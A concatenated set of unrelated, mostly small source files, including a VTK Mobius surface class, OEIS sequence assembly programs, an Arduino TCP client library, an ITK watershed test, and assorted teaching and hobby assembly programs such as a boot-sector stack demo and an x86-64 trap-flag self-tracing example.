PURPOSE. See the above copyright notice for more information.
=========================================================================*/
#include "vtkParametricMobius.h"
#include "vtkObjectFactory.h"
#include "vtkMath.h"
vtkStandardNewMacro(vtkParametricMobius);
//----------------------------------------------------------------------------
vtkParametricMobius::vtkParametricMobius()
{
this->MinimumU = 0;
this->MaximumU = 2 * vtkMath::Pi();
this->MinimumV = -1;
this->MaximumV = 1;
this->JoinU = 1;
this->JoinV = 0;
this->TwistU = 1;
this->TwistV = 0;
this->ClockwiseOrdering = 0;
this->DerivativesAvailable = 1;
this->Radius = 1;
}
//----------------------------------------------------------------------------
vtkParametricMobius::~vtkParametricMobius()
{
}
//----------------------------------------------------------------------------
void vtkParametricMobius::Evaluate(double uvw[3], double Pt[3],
double Duvw[9])
{
double u = uvw[0];
double v = uvw[1];
double *Du = Duvw;
double *Dv = Duvw + 3;
double cu = cos(u);
double cu2 = cos(u / 2);
double su = sin(u);
double su2 = sin(u / 2);
double t = this->Radius - v * su2;
// The point
Pt[0] = t * su;
Pt[1] = t * cu;
Pt[2] = v * cu2;
//The derivatives are:
Du[0] = -v * cu2 * su / 2 + Pt[1];
Du[1] = -v * cu2 * cu / 2 - Pt[0];
Du[2] = -v * su2 / 2;
Dv[0] = -su2 * su;
Dv[1] = -su2 * cu;
Dv[2] = cu2;
}
//----------------------------------------------------------------------------
double vtkParametricMobius::EvaluateScalar(double *, double*, double *)
{
return 0;
}
//----------------------------------------------------------------------------
void vtkParametricMobius::PrintSelf(ostream& os, vtkIndent indent)
{
this->Superclass::PrintSelf(os, indent);
os << indent << "Radius: " << this->Radius << "\n";
}
|
; Read, set and adjust the real time clock V2.00 1986 Tony Tebby QJUMP
section sms
xdef sms_rrtc read clock
xdef sms_srtc set clock
xdef sms_artc adjust clock
xref cv_rtdtm
xref qxl_mess_add
include 'dev8_keys_sys'
include 'dev8_smsq_qxl_keys'
include 'dev8_smsq_qxl_comm_keys'
include 'dev8_smsq_smsq_base_keys'
;+++
; Read real time clock
;
; d1 r time read
;---
sms_rrtc
move.l sys_rtc(a6),d1 ; time
bra.s sms_rtok
;+++
; Adjust real time clock
;
; d1 cr adjustment (seconds) / time read
;---
sms_artc
add.l sys_rtc(a6),d1
;+++
; Set real time clock
;
; d1 cr time to set (seconds) / time read
;---
sms_srtc
move.l d1,sys_rtc(a6)
move.l a1,-(sp)
move.l qxl_message,a1
lea qxl_ms_date(a1),a1 ; use fixed buffer
jsr cv_rtdtm ; convert to ymd hms
sub.w #1980,(a1) ; years from 1980
move.b #qxm.srtc,(a1) ; set message
move.w #8,-(a1) ; set length
jsr qxl_mess_add ; add the message
move.l (sp)+,a1
sms_rtok
moveq #0,d0
move.l sms.rte,a5
jmp (a5)
end
|
; A164532: a(n) = 6*a(n-2) for n > 2; a(1) = 1, a(2) = 4.
; 1,4,6,24,36,144,216,864,1296,5184,7776,31104,46656,186624,279936,1119744,1679616,6718464,10077696,40310784,60466176,241864704,362797056,1451188224,2176782336,8707129344,13060694016,52242776064,78364164096
add $0,5
mov $2,5
lpb $0
mov $1,$0
sub $0,2
mul $2,6
mul $1,$2
lpe
div $1,540
mov $0,$1
|
; A005521: 1 + (sum of first n odd primes - n)/2.
; 1,2,4,7,12,18,26,35,46,60,75,93,113,134,157,183,212,242,275,310,346,385,426,470,518,568,619,672,726,782,845,910,978,1047,1121,1196,1274,1355,1438,1524,1613,1703,1798
seq $0,101301 ; The sum of the first n primes, minus n.
div $0,2
add $0,1
|
#include<iostream>
#include<queue>
#include<numeric>
#include<algorithm>
#include<cmath>
#include<map>
#include<list>
#include<climits>
#include<set>
#include<sstream>
#include<vector>
#include<stack>
using namespace std;
enum RAction { explode, split, none };
class RResult {
public:
RAction action;
int lexplode, rexplode;
RResult(RAction _action, int _lexplode = 0, int _rexplode = 0) {
action = _action;
lexplode = _lexplode;
rexplode = _rexplode;
}
};
class Pair {
public:
int x;
Pair *l;
Pair *r;
Pair(int _x) {
x = _x;
l = NULL;
r = NULL;
}
Pair(Pair *_l, Pair *_r) {
x = -1;
l = _l;
r = _r;
}
~Pair() {
if (x == -1) {
delete l;
delete r;
}
}
static Pair* parse(string::iterator &it) {
Pair *l, *r;
char c = *(it++);
while (c == ',' || c == ']') c = *(it++);
if (c == '[') {
l = Pair::parse(it);
r = Pair::parse(it);
return new Pair(l, r);
} else {
int x = 0;
while (true) {
if (c == ',' || c == ']') {
return new Pair(x);
}
x *= 10;
x += c - '0';
c = *(it++);
}
}
}
void addr(int xx) {
if (x != -1) x += xx;
else r->addr(xx);
}
void addl(int xx) {
if (x != -1) x += xx;
else l->addl(xx);
}
void reduce() {
RAction a = RAction::explode;
while(a != RAction::none) {
a = reducestep().action;
if (a == RAction::none) {
a = reducestep(4, true).action;
}
}
}
RResult reducestep(int lv = 4, bool allowsplit = false) {
if (x != -1) {
if (x >= 10 && allowsplit) {
l = new Pair(x / 2);
r = new Pair(x / 2 + x % 2);
x = -1;
return RResult(RAction::split);
}
return RResult(RAction::none);
} else {
if (lv == 0) {
int lx = l->x, rx = r->x;
delete l;
l = NULL;
delete r;
r = NULL;
x = 0;
return RResult(RAction::explode, lx, rx);
}
auto res = l->reducestep(lv - 1, allowsplit);
if (res.action == RAction::split) {
return res;
} else if (res.action == RAction::explode) {
if(res.rexplode != 0) r->addl(res.rexplode);
res.rexplode = 0;
return res;
} else {
res = r->reducestep(lv - 1, allowsplit);
if (res.action == RAction::explode){
if (res.lexplode != 0) l->addr(res.lexplode);
res.lexplode = 0;
}
return res;
}
}
}
Pair *copy() {
if (x != -1) return new Pair(x);
return new Pair(l->copy(), r->copy());
}
long long int mag() {
if (x != -1) return x;
return l->mag() * 3LL + r->mag() * 2LL;
}
void print() {
if (x != -1) cout << x;
else {
cout << "[";
l->print();
cout<< ",";
r->print();
cout<< "]";
}
}
};
int main(){
string s;
vector <Pair*> pairs;
while(cin >> s) {
auto it = s.begin();
pairs.push_back(Pair::parse(it));
}
long long maxmag = 0;
for (int i = 0; i < pairs.size(); ++i){
for (int j = 0; j < pairs.size(); ++j){
Pair *p = new Pair(pairs[i]->copy(), pairs[j]->copy());
p->reduce();
int mag = p->mag();
delete p;
maxmag = mag > maxmag ? mag : maxmag;
}
}
cout << maxmag << endl;
}
|
; A118263: a(3n) = 2^n, a(3n+1) = 3^n, a(3n+2) = 4^n.
; 1,1,1,2,3,4,4,9,16,8,27,64,16,81,256,32,243,1024,64,729,4096,128,2187,16384,256,6561,65536,512,19683,262144,1024,59049,1048576,2048,177147,4194304,4096,531441,16777216,8192,1594323,67108864,16384,4782969
sub $0,1
lpb $0,1
mov $3,$0
sub $0,3
mov $1,$3
add $2,1
lpe
pow $1,$2
|
; A199418: 3*7^n+1.
; 4,22,148,1030,7204,50422,352948,2470630,17294404,121060822,847425748,5931980230,41523861604,290667031222,2034669218548,14242684529830,99698791708804,697891541961622,4885240793731348,34196685556119430,239376798892836004,1675637592249852022,11729463145748964148,82106242020242749030,574743694141699243204,4023205858991894702422,28162441012943262916948,197137087090602840418630,1379959609634219882930404,9659717267439539180512822,67618020872076774263589748,473326146104537419845128230
mov $1,7
pow $1,$0
mul $1,3
add $1,1
mov $0,$1
|
mov ah, 0x0e
mov bp, 0x8000 ;; base pointer
mov sp, bp ;; copy base pointer in stack pointer
push 'A' ;; after this operation sp := sp - 1. If we really need to print this content then we need to add 1 current sp
push 'B' ;; sp := sp - 2
push 'C' ;; sp := sp - 3 This content just below sp
mov al, [0x7ffe]
int 0x10
mov al, [0x8000 - 0x0002]
int 0x10
pop bx
mov al, bl
int 0x10 ;; Print C
pop bx
mov al, bl
int 0x10 ;; Print B
pop bx
mov al, bl
int 0x10 ;; Print A
;; Nothing in stack after 3 pop so our bp = sp
mov al, [0x8000]
int 0x10
jmp $
times 510 - ($ - $$) db 0
dw 0xaa55
|
// ecopycon.cpp
// initialize objects using default copy constructor
#include <iostream>
using namespace std;
////////////////////////////////////////////////////////////////
class Distance //English Distance class
{
private:
int feet;
float inches;
public: //constructor (no args)
Distance() : feet(0), inches(0.0)
{ }
//Note: no one-arg constructor
//constructor (two args)
Distance(int ft, float in) : feet(ft), inches(in)
{ }
void getdist() //get length from user
{
cout << "\nEnter feet: "; cin >> feet;
cout << "Enter inches: "; cin >> inches;
}
void showdist() //display distance
{ cout << feet << "\'-" << inches << '\"'; }
};
////////////////////////////////////////////////////////////////
int main()
{
Distance dist1(11, 6.25); //two-arg constructor
Distance dist2(dist1); //one-arg constructor
Distance dist3 = dist1; //also one-arg constructor
//display all lengths
cout << "\ndist1 = "; dist1.showdist();
cout << "\ndist2 = "; dist2.showdist();
cout << "\ndist3 = "; dist3.showdist();
cout << endl;
return 0;
}
|
/*=========================================================================
*
* Copyright NumFOCUS
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0.txt
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*=========================================================================*/
#include "itkWatershedImageFilter.h"
#include "itkImage.h"
#include "itkImageFileReader.h"
#include "itkMacro.h"
#include "itkTestingMacros.h"
#include <iostream>
/// Uncovered a heap error or something by putting in bad values to WatershedImageFilter
/// This tests an added check in itkWaterhedSegmentTreeGenerator
/// At the time of this test, it's hard to predict what inputs are going to put the WatershedImageFilter in exception
/// state.
int
itkWatershedImageFilterBadValuesTest(int argc, char * argv[])
{
int result = 0;
if (argc < 2)
{
std::cerr << "Missing parameters" << std::endl;
std::cerr << "Usage: " << itkNameOfTestExecutableMacro(argv) << " inputImageFile" << std::endl;
std::cerr << std::endl;
return EXIT_FAILURE;
}
char * path = argv[1];
std::cout << "The file path is: " << path << std::endl;
using ImageType = itk::Image<float, 2>;
auto reader = itk::ImageFileReader<ImageType>::New();
reader->SetFileName(path);
auto img = reader->GetOutput();
auto watershed = itk::WatershedImageFilter<ImageType>::New();
watershed->SetInput(img);
// this should work
watershed->SetLevel(0.5);
watershed->SetThreshold(0.25);
ITK_TRY_EXPECT_NO_EXCEPTION(watershed->Update());
// this should cause an exception from itkWatershedSegmentTreeGenerator::CompileMergeList
// this was previously causing an assert error, on Windows, (which would result in a non-zero exit code as the
// application hard crashes) if this test fails to throw an exception, then maybe a fix has been added to increase the
// stability of the algorithm
watershed->SetLevel(0.45886916616845724);
watershed->SetThreshold(0.7697413395336108);
ITK_TRY_EXPECT_EXCEPTION(watershed->Update());
return result;
}
|
/*
UIPClient.cpp - Arduino implementation of a uIP wrapper class.
Copyright (c) 2013 Norbert Truchsess <norbert.truchsess@t-online.de>
All rights reserved.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
extern "C"
{
#import "utility/uip-conf.h"
#import "utility/uip.h"
#import "utility/uip_arp.h"
#import "string.h"
}
#include "UIPEthernet.h"
#include "UIPClient.h"
#include "Dns.h"
#ifdef UIPETHERNET_DEBUG_CLIENT
#include "HardwareSerial.h"
#endif
#define UIP_TCP_PHYH_LEN UIP_LLH_LEN+UIP_IPTCPH_LEN
uip_userdata_t UIPClient::all_data[UIP_CONNS];
UIPClient::UIPClient() :
data(NULL)
{
}
UIPClient::UIPClient(uip_userdata_t* conn_data) :
data(conn_data)
{
}
int
UIPClient::connect(IPAddress ip, uint16_t port)
{
stop();
uip_ipaddr_t ipaddr;
uip_ip_addr(ipaddr, ip);
struct uip_conn* conn = uip_connect(&ipaddr, htons(port));
if (conn)
{
#if UIP_CONNECT_TIMEOUT > 0
int32_t timeout = millis() + 1000 * UIP_CONNECT_TIMEOUT;
#endif
while((conn->tcpstateflags & UIP_TS_MASK) != UIP_CLOSED)
{
UIPEthernetClass::tick();
if ((conn->tcpstateflags & UIP_TS_MASK) == UIP_ESTABLISHED)
{
data = (uip_userdata_t*) conn->appstate;
#ifdef UIPETHERNET_DEBUG_CLIENT
Serial.print(F("connected, state: "));
Serial.print(data->state);
Serial.print(F(", first packet in: "));
Serial.println(data->packets_in[0]);
#endif
return 1;
}
#if UIP_CONNECT_TIMEOUT > 0
if (((int32_t)(millis() - timeout)) > 0)
{
conn->tcpstateflags = UIP_CLOSED;
break;
}
#endif
}
}
return 0;
}
int
UIPClient::connect(const char *host, uint16_t port)
{
// Look up the host first
int ret = 0;
#if UIP_UDP
DNSClient dns;
IPAddress remote_addr;
dns.begin(UIPEthernetClass::_dnsServerAddress);
ret = dns.getHostByName(host, remote_addr);
if (ret == 1) {
return connect(remote_addr, port);
}
#endif
return ret;
}
void
UIPClient::stop()
{
if (data && data->state)
{
#ifdef UIPETHERNET_DEBUG_CLIENT
Serial.println(F("before stop(), with data"));
_dumpAllData();
#endif
_flushBlocks(&data->packets_in[0]);
if (data->state & UIP_CLIENT_REMOTECLOSED)
{
data->state = 0;
}
else
{
data->state |= UIP_CLIENT_CLOSE;
}
#ifdef UIPETHERNET_DEBUG_CLIENT
Serial.println(F("after stop()"));
_dumpAllData();
#endif
}
#ifdef UIPETHERNET_DEBUG_CLIENT
else
{
Serial.println(F("stop(), data: NULL"));
}
#endif
data = NULL;
UIPEthernetClass::tick();
}
uint8_t
UIPClient::connected()
{
return (data && (data->packets_in[0] != NOBLOCK || (data->state & UIP_CLIENT_CONNECTED))) ? 1 : 0;
}
bool
UIPClient::operator==(const UIPClient& rhs)
{
return data && rhs.data && (data == rhs.data);
}
UIPClient::operator bool()
{
UIPEthernetClass::tick();
return data && (!(data->state & UIP_CLIENT_REMOTECLOSED) || data->packets_in[0] != NOBLOCK);
}
size_t
UIPClient::write(uint8_t c)
{
return _write(data, &c, 1);
}
size_t
UIPClient::write(const uint8_t *buf, size_t size)
{
return _write(data, buf, size);
}
size_t
UIPClient::_write(uip_userdata_t* u, const uint8_t *buf, size_t size)
{
int remain = size;
uint16_t written;
#if UIP_ATTEMPTS_ON_WRITE > 0
uint16_t attempts = UIP_ATTEMPTS_ON_WRITE;
#endif
repeat:
UIPEthernetClass::tick();
if (u && !(u->state & (UIP_CLIENT_CLOSE | UIP_CLIENT_REMOTECLOSED)))
{
uint8_t p = _currentBlock(&u->packets_out[0]);
if (u->packets_out[p] == NOBLOCK)
{
newpacket:
u->packets_out[p] = Enc28J60Network::allocBlock(UIP_SOCKET_DATALEN);
if (u->packets_out[p] == NOBLOCK)
{
#if UIP_ATTEMPTS_ON_WRITE > 0
if ((--attempts)>0)
#endif
#if UIP_ATTEMPTS_ON_WRITE != 0
goto repeat;
#endif
goto ready;
}
u->out_pos = 0;
}
#ifdef UIPETHERNET_DEBUG_CLIENT
Serial.print(F("UIPClient.write: writePacket("));
Serial.print(u->packets_out[p]);
Serial.print(F(") pos: "));
Serial.print(u->out_pos);
Serial.print(F(", buf["));
Serial.print(size-remain);
Serial.print(F("-"));
Serial.print(remain);
Serial.print(F("]: '"));
Serial.write((uint8_t*)buf+size-remain,remain);
Serial.println(F("'"));
#endif
written = Enc28J60Network::writePacket(u->packets_out[p],u->out_pos,(uint8_t*)buf+size-remain,remain);
remain -= written;
u->out_pos+=written;
if (remain > 0)
{
if (p == UIP_SOCKET_NUMPACKETS-1)
{
#if UIP_ATTEMPTS_ON_WRITE > 0
if ((--attempts)>0)
#endif
#if UIP_ATTEMPTS_ON_WRITE != 0
goto repeat;
#endif
goto ready;
}
p++;
goto newpacket;
}
ready:
return size-remain;
}
return -1;
}
int
UIPClient::available()
{
if (*this)
return _available(data);
return 0;
}
int
UIPClient::_available(uip_userdata_t *u)
{
int len = 0;
for (uint8_t i = 0; i < UIP_SOCKET_NUMPACKETS; i++)
{
len += Enc28J60Network::blockSize(u->packets_in[i]);
}
return len;
}
int
UIPClient::read(uint8_t *buf, size_t size)
{
if (*this)
{
uint16_t remain = size;
if (data->packets_in[0] == NOBLOCK)
return 0;
uint16_t read;
do
{
read = Enc28J60Network::readPacket(data->packets_in[0],0,buf+size-remain,remain);
if (read == Enc28J60Network::blockSize(data->packets_in[0]))
{
remain -= read;
_eatBlock(&data->packets_in[0]);
if (uip_stopped(&uip_conns[data->state & UIP_CLIENT_SOCKETS]) && !(data->state & (UIP_CLIENT_CLOSE | UIP_CLIENT_REMOTECLOSED)))
data->state |= UIP_CLIENT_RESTART;
if (data->packets_in[0] == NOBLOCK)
{
if (data->state & UIP_CLIENT_REMOTECLOSED)
{
data->state = 0;
data = NULL;
}
return size-remain;
}
}
else
{
Enc28J60Network::resizeBlock(data->packets_in[0],read);
break;
}
}
while(remain > 0);
return size;
}
return -1;
}
int
UIPClient::read()
{
uint8_t c;
if (read(&c,1) < 0)
return -1;
return c;
}
int
UIPClient::peek()
{
if (*this)
{
if (data->packets_in[0] != NOBLOCK)
{
uint8_t c;
Enc28J60Network::readPacket(data->packets_in[0],0,&c,1);
return c;
}
}
return -1;
}
void
UIPClient::flush()
{
if (*this)
{
_flushBlocks(&data->packets_in[0]);
}
}
void
uipclient_appcall(void)
{
uip_userdata_t *u = (uip_userdata_t*)uip_conn->appstate;
if (!u && uip_connected())
{
#ifdef UIPETHERNET_DEBUG_CLIENT
Serial.println(F("UIPClient uip_connected"));
UIPClient::_dumpAllData();
#endif
u = (uip_userdata_t*) UIPClient::_allocateData();
if (u)
{
uip_conn->appstate = u;
#ifdef UIPETHERNET_DEBUG_CLIENT
Serial.print(F("UIPClient allocated state: "));
Serial.println(u->state,BIN);
#endif
}
#ifdef UIPETHERNET_DEBUG_CLIENT
else
Serial.println(F("UIPClient allocation failed"));
#endif
}
if (u)
{
if (uip_newdata())
{
#ifdef UIPETHERNET_DEBUG_CLIENT
Serial.print(F("UIPClient uip_newdata, uip_len:"));
Serial.println(uip_len);
#endif
if (uip_len && !(u->state & (UIP_CLIENT_CLOSE | UIP_CLIENT_REMOTECLOSED)))
{
memhandle newPacket = Enc28J60Network::allocBlock(uip_len);
if (newPacket != NOBLOCK)
{
for (uint8_t i=0; i < UIP_SOCKET_NUMPACKETS; i++)
{
if (u->packets_in[i] == NOBLOCK)
{
if (i == UIP_SOCKET_NUMPACKETS-1)
uip_stop();
Enc28J60Network::copyPacket(newPacket,0,UIPEthernetClass::in_packet,((uint8_t*)uip_appdata)-uip_buf,uip_len);
u->packets_in[i] = newPacket;
goto finish_newdata;
}
}
}
UIPEthernetClass::packetstate &= ~UIPETHERNET_FREEPACKET;
uip_stop();
}
}
finish_newdata:
if (u->state & UIP_CLIENT_RESTART)
{
u->state &= ~UIP_CLIENT_RESTART;
uip_restart();
}
// If the connection has been closed, save received but unread data.
if (uip_closed() || uip_timedout())
{
#ifdef UIPETHERNET_DEBUG_CLIENT
Serial.println(F("UIPClient uip_closed"));
UIPClient::_dumpAllData();
#endif
// drop outgoing packets not sent yet:
UIPClient::_flushBlocks(&u->packets_out[0]);
if (u->packets_in[0] != NOBLOCK)
{
((uip_userdata_closed_t *)u)->lport = uip_conn->lport;
u->state |= UIP_CLIENT_REMOTECLOSED;
}
else
u->state = 0;
// disassociate appdata.
#ifdef UIPETHERNET_DEBUG_CLIENT
Serial.println(F("after UIPClient uip_closed"));
UIPClient::_dumpAllData();
#endif
uip_conn->appstate = NULL;
goto nodata;
}
if (uip_acked())
{
#ifdef UIPETHERNET_DEBUG_CLIENT
Serial.println(F("UIPClient uip_acked"));
#endif
UIPClient::_eatBlock(&u->packets_out[0]);
}
if (uip_poll() || uip_rexmit())
{
#ifdef UIPETHERNET_DEBUG_CLIENT
//Serial.println(F("UIPClient uip_poll"));
#endif
if (u->packets_out[0] != NOBLOCK)
{
if (u->packets_out[1] == NOBLOCK)
{
uip_len = u->out_pos;
if (uip_len > 0)
{
Enc28J60Network::resizeBlock(u->packets_out[0],0,uip_len);
}
}
else
uip_len = Enc28J60Network::blockSize(u->packets_out[0]);
if (uip_len > 0)
{
UIPEthernetClass::uip_hdrlen = ((uint8_t*)uip_appdata)-uip_buf;
UIPEthernetClass::uip_packet = Enc28J60Network::allocBlock(UIPEthernetClass::uip_hdrlen+uip_len);
if (UIPEthernetClass::uip_packet != NOBLOCK)
{
Enc28J60Network::copyPacket(UIPEthernetClass::uip_packet,UIPEthernetClass::uip_hdrlen,u->packets_out[0],0,uip_len);
UIPEthernetClass::packetstate |= UIPETHERNET_SENDPACKET;
uip_send(uip_appdata,uip_len);
}
return;
}
}
}
// don't close connection unless all outgoing packets are sent
if (u->state & UIP_CLIENT_CLOSE)
{
#ifdef UIPETHERNET_DEBUG_CLIENT
Serial.println(F("UIPClient state UIP_CLIENT_CLOSE"));
UIPClient::_dumpAllData();
#endif
if (u->packets_out[0] == NOBLOCK)
{
u->state = 0;
uip_conn->appstate = NULL;
uip_close();
#ifdef UIPETHERNET_DEBUG_CLIENT
Serial.println(F("no blocks out -> free userdata"));
UIPClient::_dumpAllData();
#endif
}
else
{
uip_stop();
#ifdef UIPETHERNET_DEBUG_CLIENT
Serial.println(F("blocks outstanding transfer -> uip_stop()"));
#endif
}
}
}
nodata:
UIPEthernetClass::uip_packet = NOBLOCK;
uip_len=0;
}
uip_userdata_t *
UIPClient::_allocateData()
{
for ( uint8_t sock = 0; sock < UIP_CONNS; sock++ )
{
uip_userdata_t* data = &UIPClient::all_data[sock];
if (!data->state)
{
data->state = sock | UIP_CLIENT_CONNECTED;
memset(&data->packets_in[0],0,sizeof(uip_userdata_t)-sizeof(data->state));
return data;
}
}
return NULL;
}
uint8_t
UIPClient::_currentBlock(memhandle* block)
{
for (uint8_t i = 1; i < UIP_SOCKET_NUMPACKETS; i++)
{
if (block[i] == NOBLOCK)
return i-1;
}
return UIP_SOCKET_NUMPACKETS-1;
}
void
UIPClient::_eatBlock(memhandle* block)
{
#ifdef UIPETHERNET_DEBUG_CLIENT
memhandle* start = block;
Serial.print(F("eatblock("));
Serial.print(*block);
Serial.print(F("): "));
for (uint8_t i = 0; i < UIP_SOCKET_NUMPACKETS; i++)
{
Serial.print(start[i]);
Serial.print(F(" "));
}
Serial.print(F("-> "));
#endif
Enc28J60Network::freeBlock(block[0]);
for (uint8_t i = 0; i < UIP_SOCKET_NUMPACKETS-1; i++)
{
block[i] = block[i+1];
}
block[UIP_SOCKET_NUMPACKETS-1] = NOBLOCK;
#ifdef UIPETHERNET_DEBUG_CLIENT
for (uint8_t i = 0; i < UIP_SOCKET_NUMPACKETS; i++)
{
Serial.print(start[i]);
Serial.print(F(" "));
}
Serial.println();
#endif
}
void
UIPClient::_flushBlocks(memhandle* block)
{
for (uint8_t i = 0; i < UIP_SOCKET_NUMPACKETS; i++)
{
Enc28J60Network::freeBlock(block[i]);
block[i] = NOBLOCK;
}
}
#ifdef UIPETHERNET_DEBUG_CLIENT
void
UIPClient::_dumpAllData() {
for (uint8_t i=0; i < UIP_CONNS; i++)
{
Serial.print(F("UIPClient::all_data["));
Serial.print(i);
Serial.print(F("], state:"));
Serial.println(all_data[i].state, BIN);
Serial.print(F("packets_in: "));
for (uint8_t j=0; j < UIP_SOCKET_NUMPACKETS; j++)
{
Serial.print(all_data[i].packets_in[j]);
Serial.print(F(" "));
}
Serial.println();
if (all_data[i].state & UIP_CLIENT_REMOTECLOSED)
{
Serial.print(F("state remote closed, local port: "));
Serial.println(htons(((uip_userdata_closed_t *)(&all_data[i]))->lport));
}
else
{
Serial.print(F("packets_out: "));
for (uint8_t j=0; j < UIP_SOCKET_NUMPACKETS; j++)
{
Serial.print(all_data[i].packets_out[j]);
Serial.print(F(" "));
}
Serial.println();
Serial.print(F("out_pos: "));
Serial.println(all_data[i].out_pos);
}
}
}
#endif
|
; Hello World serial port test for David's new 80C188
; Assemble with:
; nasm -o hello.hex -f ith -l hello.lst hello.asm
[list -]
%include "include/ioports.inc"
[list +]
; section .text start=10000h, vstart=0f0000h
section .text start=0100h
begin: cld
outp uart_lcr, 83h ; Enable DLAB
outp uart_dll, uartdll(115200) ; Baud rate divisor
outp uart_dlm, uartdlm(115200)
outp uart_lcr, 03h ; Disable DLAB, set 8N1
mov ax, cs ; Output message
mov ds, ax
.1 mov si, tx_hello
call outstr
jmp .1
; Output byte to serial port
; Entry: AL = byte to output, DX changed
seroutb: push ax
mov dx, uart_lsr ; Wait for THRE
.1 in al, dx
test al, 1<<5
jz .1
pop ax
mov dx, uart_thr ; Output the byte
out dx, al
ret
; Output string to serial port
; Entry: DS:SI points to string
; Exit: DS:SI points to byte following terminating null, AX changed
outstr: lodsb ; Get byte, increment pointer
and al, al ; Terminating null?
jz .1
call seroutb ; Output byte
jmp outstr ; Back for more
.1 ret
tx_hello: db "Hello, World!", 0Dh, 0Ah, 00h
|
;
; This file generates an entire executable, without external C code.
;
section .text
global main
extern _start
; Strings that help to show that functions are called
msg_hcall db "hcall",0x0A
msg_hatta db "hatta",0x0A
_start:
call attach_trap_handler
call start_trace
nop ; Some dummy code that we should see executing
nop
nop
nop
call stop_trace
mov rax, 60 ; sys_exit
mov rdi, 0 ; exit code
syscall
ret
start_trace:
pushf
or [rsp], word 0x0100 ; set CPU trap flag
popf
ret
stop_trace:
pushf
and [rsp], word 0xFEFF ; unset the CPU trap flag
popf
ret
handler:
; The parameters received from the operating system are:
; rdi = int signo
; rsi = siginfo_t *info
; rdx = void *context
; this shows that the handler is called:
; mov rsi, msg_hcall ; buffer
; mov rax, 1 ; sys_write
; mov rdi, 1 ; stdout
; mov rdx, 6 ; size
; syscall
mov rax, rsi ; rax <- info
mov rax, [rax+16] ; rax <- rax.si_addr (the si_addr offset is 16, obtained from gcc's compiler asm output )
mov rsi, rax ; buffer
mov rax, 1 ; sys_write
mov rdi, 1 ; stdout
mov rdx, 4 ; size
syscall
ret
attach_trap_handler:
; this shows that the handler is attached:
; mov rax, 1 ; sys_write
; mov rdi, 1 ; stdout
; mov rsi, msg_hatta ; buffer
; mov rdx, 6 ; size
; syscall
; sigaction((SIGTRAP=) 5, new_action, old_action)
mov rax, 13 ; sys_rt_sigaction
mov rdi, 5 ; SIGTRAP
mov rsi, new_action
mov rdx, 0 ; if old_action is non-null, the old action is placed here...
mov r10, 8 ; I don't know why but it's needed (sigsetsize)
syscall
ret
restorer:
nop
mov rax, 0x0F ; sigreturn
syscall ; does not return
section .data
; A 'sigaction' C struct value; the field order is different from that
; from the struct definition:
new_action:
n_sa_handler dq handler ; signal callback
n_sa_flags dq 0x004000000 | 0x04 ; int SA_RESTORER | SA_SIGINFO
n_sa_restorer dq restorer ; restorer callback
n_sa_mask dq 0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0
; an array of _SIGSET_NWORDS=16 ints (__sigset_t)
|
; A016782: a(n) = (3*n+1)^6.
; 1,4096,117649,1000000,4826809,16777216,47045881,113379904,244140625,481890304,887503681,1544804416,2565726409,4096000000,6321363049,9474296896,13841287201,19770609664,27680640625,38068692544,51520374361,68719476736,90458382169,117649000000,151334226289,192699928576,243087455521,304006671424,377149515625,464404086784,567869252041,689869781056,832972004929,1000000000000,1194052296529,1418519112256,1677100110841,1973822685184,2313060765625,2699554153024,3138428376721,3635215077376,4195872914689,4826809000000,5534900853769,6327518887936,7212549413161,8198418170944,9294114390625,10509215371264,11853911588401,13339032325696,14976071831449,16777216000000,18755369578009,20924183895616,23298085122481,25892303048704,28722900390625,31806802621504,35161828327081,38806720086016,42761175875209,47045881000000,51682540549249,56693912375296,62103840598801,67937289638464,74220378765625,80980417183744,88245939632761,96046742518336,104413920565969,113379904000000,122978496247489,133244912166976,144215816802121,155929364660224,168425239515625,181744694737984,195930594145441,211027453382656,227081481823729,244140625000000,262254607552729,281474976710656,301855146292441,323450441233984,346318142640625,370517533364224,396109944105121,423158800038976,451729667968489,481890304000000,513710701744969,547263141046336,582622237229761,619864990879744,659070838140625,700321701542464
mul $0,3
add $0,1
pow $0,6
|
; A292022: a(n) = 4n(n^2+2).
; 12,48,132,288,540,912,1428,2112,2988,4080,5412,7008,8892,11088,13620,16512,19788,23472,27588,32160,37212,42768,48852,55488,62700,70512,78948,88032,97788,108240,119412,131328,144012,157488,171780,186912,202908,219792,237588
add $0,1
mov $1,$0
pow $0,2
add $0,2
mul $0,$1
div $0,3
mul $0,12
|
; A308677: Kuba-Panholzer Table 2 pattern 312, 213 for Stirling permutation k = 2.
; Submitted by Christian Krause
; 3,23,155,1014,6580,42636,276507,1796300,11692395,76257675,498286932,3261636728,21384163320,140407901032,923165093595,6077239852824,40052346318985,264243349910925,1745013401135235,11533997779931550,76298933599198800,505113085597039920,3346315941511650900
mul $0,2
mov $1,$0
div $0,2
add $1,$0
add $1,4
mov $2,$1
bin $1,$0
add $2,1
bin $2,$0
mul $2,2
add $2,$1
mov $0,$2
|
; Function realization
ORG 0
JMP main ; Jump to main
ORG 20H
main: ; main function
MOV R0,#30H ; start of memory address
MOV R3,#00H ; iterator for 16 values
MOV R1,#00H
loop: ; Loop for iterating the whole series
JNB P2.0,blink ; if sw0 is pressed, go to blink function
MOV A,R0 ; else move R0 to accumulator
ADD A,R3 ; add iteration index from R3
MOV R1,A ; Store the memory address in R1
MOV A,R3 ; Move R3 to accumulator for printing the Inputs
CPL A ; Complement the values in accumulator
JNB ACC.4,finish ; If 5th bit is Low, the series is completed so jump to finish
MOV P1,A ; else copy accumulator to P1 for displaying Inputs
INC R3 ; Increase iterator by 1
MOV A,@R1 ; Move the value stored at memory location to A
SETB P1.4 ; Make the output LED blank
JZ loop ; If value in accumulator is zero, then go to next iteration
CLR P1.4 ; Else the value is one, so glow the output LED
JMP loop ; Jump to the next iteration
